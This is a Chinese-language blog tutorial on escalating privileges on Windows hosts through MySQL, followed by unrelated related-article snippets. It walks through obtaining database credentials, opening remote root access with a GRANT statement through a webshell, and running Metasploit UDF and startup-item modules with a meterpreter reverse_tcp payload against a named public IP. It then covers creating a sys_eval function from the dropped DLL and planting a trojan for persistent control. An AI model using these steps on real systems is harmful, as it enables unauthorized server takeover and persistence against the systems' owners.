Windows提权:利用MySQL数据库

news2024/11/18 18:49:10

目录

数据库提权的基本条件

MySQL UDF提权

什么是UDF

UDF如何应用到提权

利用思路

MSF提权实战

MySQL 启动项提权

原理:通过MySQL数据库把木马写到Windows启动项中

Windows启动项位置

MSF提权利用实战

MySQL 反弹shell提权


 

数据库提权的基本条件

  • 知道数据最高权限的用户密码
  • 数据库允许外链
  • mysql.ini(数据库配置文件)中 secure-file-priv开启对写文件目录进行了限制

获取密码的方式:

        1. 网站存在SQL注入点

        2. 数据库的存储文件或备份文件 

                在数据库有几个文件记录着密码比如:MySQL数据库的,/MySQL/data/mysql

                有三个uesr.MYD,user.MYI,user.frm,其中就有可能有密码的存储

        3. 网站数据库连接配置文件,就可能有网站的配置文件

        4. 弱口令爆破

第二,三种往往是我们拿到数据库权限之后

MySQL UDF提权

我们需要了解它的基本原理以及基本的利用手法

什么是UDF

udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。

UDF如何应用到提权

假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。

其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。

利用思路

  1. 开启对方MySQL数据库的外链
  2. 使用MSF提权,会生成一个dll文件
  3. 把dll文件与sys_eval绑定到一起
  4. 通过sys_eval()进行命令执行
  5. 上线木马,实现持久化控制

MSF提权实战

限制条件:

  1. 数据库最高权限用户的账号密码
  2. 能够登录到对方的MySQL数据上(数据库支持外链)

MySQL数据库是禁止开启外部连接的,但是也是有办法克服的

我们需要在对方机器上,登录数据库,执行下面的命令,就可以开启外链

这一步可以使用哥斯拉,蚁剑连接上目标机器上的Webshell,提供这个Webshell进行数据库连接相当于在本地进行连接。

一般情况下都是先通过webshell连接数据库来开启外链,因为后续的MSF的利用上是属于外链的。

在webshell执行开启外链的命令

GRANT ALL PRIVILEGES ON *.* TO '账号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

之后使用MSF进行测试:

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set username root
set password root
set rhosts 47.102.195.100
run

根据数据库的不同,会有一个dll文件生成在不同的目录

  • mysql < 5.2 导出到目录 c:/windows或system32
  • mysql => 5.2 到处安装目录 /lib/plugin  如果没有这个目录,可以手动创建

之后我们可以通过这个文件执行命令,这一步可以通过Navicat来完成

首先在数据库内执行命令

select * from mysql.func where name="sys_exec";

 

再创建一个sys_eval()绑定dll用来执行命令,MySQL的mysql.func种记录着绑定的信息

create function sys_eval returns string soname "pZzTLcMH.dll";

命令执行:

之后可以远程下载木马,上线。

MySQL 启动项提权

限制条件:

  • 数据库最高权限用户的账号密码
  • 数据库可外链

原理:通过MySQL数据库把木马写到Windows启动项中

Windows启动项位置

windows查看启动项命令:msconfig

  1. 用户自动其文件夹
    win+r 后输入:shell:startup
  2. 系统自启动文件夹
    win+r 后输入:%programdata%\Microsoft\Windows\Start Menu\Programs\Startup

然后将启动的快捷方式放入文件夹中即可

MSF提权利用实战

use exploit/windows/mysql/mysql_start_up
set username root
set password root
set rhost 192.168.226.136 //设置攻击主机
set AllowNoCleanup true
run

 之后等待对方服务器上线即可

这是写入到系统启动项提权上了

MySQL 反弹shell提权

参考文章:https://www.cnblogs.com/bonelee/p/15864513.html

其本质也是借助UDF进行提权

在我们实战中常用到的也就是UDF提权和启动项提权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/585503.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

路径规划算法:基于鸟群优化的路径规划算法- 附代码

路径规划算法&#xff1a;基于鸟群优化的路径规划算法- 附代码 文章目录 路径规划算法&#xff1a;基于鸟群优化的路径规划算法- 附代码1.算法原理1.1 环境设定1.2 约束条件1.3 适应度函数 2.算法结果3.MATLAB代码4.参考文献 摘要&#xff1a;本文主要介绍利用智能优化算法鸟群…

Linux:centos:计划任务管理《at》

date 查看当前时间或管理时间 年-月-日 周几 时间 时间标准 如果想把他改成2024年6月1日12&#xff1a;30 使用 date 060112302024 06 6月 01 1日 1230 12&#xff1a;30 2024 2024年 使用at之前要安装他 有些用户没有安装的情况下 最好使…

死锁的成因和解决方案

死锁&#x1f512;的成因和解决方案&#x1f4d1; 锁是操作系统和程序语言中常用的同步机制&#xff0c;用于保证共享资源的互斥访问&#xff0c;防止多个线程或进程同时访问共享资源&#xff0c;导致数据不一致或程序崩溃。 死锁是我们在进行并发编程中需要时刻避免的一个问…

路径规划算法:基于引力搜索优化的路径规划算法- 附代码

路径规划算法&#xff1a;基于引力搜索优化的路径规划算法- 附代码 文章目录 路径规划算法&#xff1a;基于引力搜索优化的路径规划算法- 附代码1.算法原理1.1 环境设定1.2 约束条件1.3 适应度函数 2.算法结果3.MATLAB代码4.参考文献 摘要&#xff1a;本文主要介绍利用智能优化…

iPhone遇到错误53该如何快速修复?

在所有手机中&#xff0c;iphone是出现问题较少的一款手机&#xff0c;但有时候用户会偶尔遇到一些系统问题。例如&#xff0c;错误53是许多用户常见反馈问题之一。如果你还得到错误53 今天小编的就分享如果iphone遇到系统错误53的解决办法。 当我们尝试通过iTunes工具来恢复或…

TDengine 时序数据的保留策略

“TDengine除vnode分片之外&#xff0c;还对时序数据按照时间段进行分区。每个数据文件只包含一个时间段的时序数据&#xff0c;时间段的长度由DB的配置参数days决定。这种按时间段分区的方法还便于高效实现数据的保留策略&#xff0c;只要数据文件超过规定的天数&#xff08;系…

win10 Mysql8.0以上重置初始密码

第一步&#xff1a;关闭Mysql服务 首先&#xff0c;确保自己已经关闭了Mysql的服务 net stop mysql 问题&#xff1a;关闭时报错 原因是&#xff1a;因为net start 服务名&#xff0c;启动的是win下注册的服务。此时&#xff0c;系统中并没有注册mysql到服务中。即当前路径下…

【社区图书馆】《深入理解高并发编程:JDK核心技术》读后感

作者简介 首先要隆重介绍的肯定是《深入理解高并发编程&#xff1a;JDK核心技术》的作者&#xff1a;冰河&#xff0c;作为互联网资深技术专家、数据库技术专家、分布式与微服务架构专家。他多年来一直致力于分布式系统架构、微服务、分布式数据库、分布式事务与大数据技术的研…

【P41】JMeter 简单控制器(Simple Controller)

文章目录 一、简单控制器&#xff08;Simple Controller&#xff09;参数说明二、测试计划设计 一、简单控制器&#xff08;Simple Controller&#xff09;参数说明 该组件&#xff0c;是一个占位符&#xff0c;用于脚本模块化管理&#xff0c;无任何逻辑作用&#xff0c;也不…

0604嵌套路由与路由传参-react路由-react

文章目录 1 嵌套路由1.1 使用1.2 总结 2 路由传参2.1 示例准备2.1 传递params参数2.2 传递search参数2.3 传递state参数2.4 路由参数总结 结语 1 嵌套路由 1.1 使用 示例效果如下图1.1-1所示&#xff1a; 该示例代码其他部分和上一篇相同&#xff0c;这里主要讲解下嵌套路由的…

CVPR2023 I NeRF-Supervised Deep Stereo:不需要任何ground-truth数据

论文题目:NeRF-Supervised Deep Stereo 作者:Fabio Tosi ;Alessio Tonioni; Daniele De Gregorio等人 作者机构:University of Bologna(博洛尼亚大学);Google Inc(全球最大的搜索引擎之一);Eyecan.ai(韩国专注于开发眼动追踪技术的公司) 在公众号「3D视觉工坊」后台回复「…

老电脑重生:深度剖析各部件的羁绊关系

目录 引言&#xff1a; 正文&#xff1a; 主板&#xff1a; CPU 参数&#xff1a; 分类 接口 intel CPU升级推荐 AMD CPU升级推荐 CPU散热器&#xff1a; 内存条 硬盘 独立显卡 电源 机箱 总结 引言&#xff1a; 在科技日新月异的时代&#xff0c;我们与…

【从零到Offer】- HashMap与HashSet

​ HashMap与HashSet是我们日常最常使用的两个集合类。在实现上&#xff0c;两者也有很大的相似性。HashSet基本就是对HashMap的一个简单包装。 ​ 为了更好的理解Hash结构的实现原理&#xff0c;从而更好的指导我们的代码使用&#xff0c;本文就主要对HashMap的实现及设计做分…

Java并发体系-第二阶段-锁与同步-[3](仅做了解吧不好理解)

synchronized保证三大特性 synchronized保证原子性的原理 对num;增加同步代码块后&#xff0c;保证同一时间只有一个线程操作num;。就不会出现安全问题。 synchronized保证可见性的原理 synchronized保证可见性的原理&#xff0c;执行synchronized时&#xff0c;会对应lock…

下载STM32固件库

不想找的可直接输入下面的网址 https://www.st.com/en/embedded-software/stm32-standard-peripheral-libraries.html 官网下载的慢&#xff0c;阿里云链接 STM32固件 https://www.aliyundrive.com/s/e2Q3j19Bnkv 点击链接保存&#xff0c;或者复制本段内容&#xff0c;打开…

【UE】不规则物体外轮廓发光

效果 按下2键显示鼠标&#xff0c;将鼠标移动到指定的物体身上然后按下ctrl键就会使得指定物体高亮显示。 步骤 1. 创建一个材质并打开 材质域设置为后期处理 可混合位置改为“色调映射前” 添加如下节点&#xff1a; 2. 打开玩家控制的蓝图&#xff0c;添加如下节点 3. 场景…

新手装sql

windows sever 安装完了得装个sql&#xff0c;我也不会&#xff0c;按网上找到的资料&#xff0c;一步一步试吧 到这个地址去下载SQL Server https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 谁能救救我&#xff0c;全是英文&#xff0c;都看不懂&#xff0…

sentinel持久化

sentinel规则推送模式 原始模式 在sentinel源码中是不支持规则持久化的&#xff0c;一旦sentinel服务宕机&#xff0c;匹配的所有规则将彻底消失。在上篇博客中展示了sentinel的源码流程图&#xff0c;在sentinel dashboard新增一条流控规则&#xff08;或者其他规则&#xf…

Boost开发指南-1.3date_time

date_time date_time库勇敢地面对了这个挑战&#xff0c;并成功地解决了大部分问题。它是一个非常全面且灵活的日期时间库&#xff0c;基于我们日常使用的公历&#xff08;即格里高利历)&#xff0c;可以提供时间相关的各种所需功能&#xff0c;如精确定义的时间点、时间段和时…

CSS入门学习笔记+案例【一】

目录 一、CSS 是什么 二、引入方式 2.2 行内样式表 2.3 外部样式 三、 代码风格 3.1 样式格式 3.2 样式大小写 3.3 空格规范 四、 选择器 4.1 选择器的功能 4.2 选择器的种类 复合选择器小结 看完这篇博客 你将 掌握 CSS 基本语法规范和代码书写风格 掌握 CSS 选择…